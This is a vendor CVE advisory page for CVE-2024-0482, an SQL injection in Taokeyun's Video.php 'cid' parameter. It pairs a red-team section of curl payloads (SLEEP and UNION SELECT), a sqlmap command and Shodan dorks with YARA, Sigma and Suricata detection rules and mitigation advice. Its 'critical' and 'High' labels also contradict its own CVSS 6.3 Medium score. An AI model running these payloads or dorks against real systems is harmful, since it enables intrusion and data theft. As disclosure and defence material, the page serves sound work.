☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0482

CVE-2024-0482 SQL Injection in Taokeyun
📅 PUBLISHED: 2024-01-13 09:31 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 1.0.5
CVSS VECTOR BREAKDOWN 6.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0482 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/app/Video.php file, specifically within the HTTP POST request handler. By manipulating the cid argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority issue for any organization using Taokeyun.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Taokeyun PHP application. Organizations should treat this as a critical supply chain risk if they have integrated Taokeyun into their infrastructure.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) - Exploitable remotely.
  • Attack Complexity: Low (AC:L) - No special conditions required.
  • Privileges Required: None (PR:N) - No authentication needed.
  • User Interaction: None (UI:N) - No user action required.
  • Scope: Unchanged (S:U) - Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) - Limited data access possible.
  • Integrity Impact: Low (I:L) - Limited data modification possible.
  • Availability Impact: Low (A:L) - Potential for service disruption.

Threat Level: High. The combination of remote exploitability, low complexity, and public exploit code makes this a significant threat. The lack of a patch further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the index method of Video.php. The application fails to properly sanitize the cid parameter before using it in a SQL query. An attacker can inject SQL commands by sending a crafted POST request to the vulnerable endpoint.

Vulnerable Code Snippet (Conceptual):

// application/index/controller/app/Video.php
public function index() {
    $cid = input('post.cid');
    $result = db('video')->where('id', $cid)->select();
    // ...
}

The input() function likely retrieves the cid parameter without proper filtering, and the where clause directly concatenates the user input into the SQL query.

Exploitation Mechanics:

  1. The attacker sends a POST request to the vulnerable endpoint with a malicious cid value.
  2. The injected SQL is executed by the database, allowing the attacker to bypass authentication, extract data, or modify records.
  3. Common payloads include UNION SELECT statements to retrieve data from other tables or OR 1=1 to bypass logic.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$cid = input('post.cid');
$result = db('video')->where('id', $cid)->select();

Patched Code (Conceptual):

$cid = input('post.cid', '', 'intval'); // or use parameterized queries
$result = db('video')->where('id', $cid)->select();

The patched version uses intval to ensure the cid is an integer, or ideally, uses parameterized queries to prevent injection entirely. Since no official patch exists, this is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Taokeyun instance (version <= 1.0.5).
  • A tool like curl, Burp Suite, or a custom script.

Exploitation Steps:

  1. Identify the vulnerable endpoint (e.g., http://target.com/index.php/app/video/index).
  2. Send a POST request with a malicious cid parameter.

Example Payload (Time-based blind SQLi):

curl -X POST http://target.com/index.php/app/video/index \
  -d "cid=1 AND SLEEP(5)"

Example Payload (UNION-based data extraction):

curl -X POST http://target.com/index.php/app/video/index \
  -d "cid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/index.php/app/video/index" --data="cid=1" --batch --dbs

Blue Team (Defensive)

Detection:

  • Monitor for POST requests to /index.php/app/video/index with unusual cid parameters.
  • Look for SQL keywords like UNION, SELECT, SLEEP, OR in the cid parameter.
  • Use WAF rules to block common SQL injection patterns.

Honeypot: Deploy a decoy Taokeyun instance to capture attacker behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /index.php/app/video/index with cid parameter containing SQL syntax.
    • Outbound database connections from the web server to unexpected IPs.
  • File IOCs:
    • Suspicious entries in web server logs (e.g., access.log) showing SQL injection attempts.
  • System IOCs:
    • Unexpected database queries or errors in application logs.
    • Modified or exfiltrated data in the video table.

Detection Engineering

YARA Rule

rule CVE_2024_0482_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0482 in Taokeyun"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0482"
    strings:
        $s1 = "cid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "SLEEP" nocase
        $s5 = "OR 1=1" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}

Sigma Rule

title: CVE-2024-0482 Taokeyun SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Taokeyun Video.php endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php/app/video/index'
        cs-uri-query|contains: 'cid='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0482 Taokeyun SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php/app/video/index"; http_uri; content:"cid="; http_client_body; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Taokeyun application from the internet if possible.
  2. Apply a WAF rule to block SQL injection patterns in the cid parameter.
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • Upgrade to a patched version once available.
  • Implement input validation (e.g., ensure cid is an integer).
  • Use parameterized queries or prepared statements in the application code.
  • Conduct a security audit of the entire Taokeyun codebase.

Workaround:

  • Modify the Video.php file to sanitize the cid parameter:
$cid = intval(input('post.cid'));

Valters IT
Securing Your Digital Frontier

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

taokeyun
Taokeyun video

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0482/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.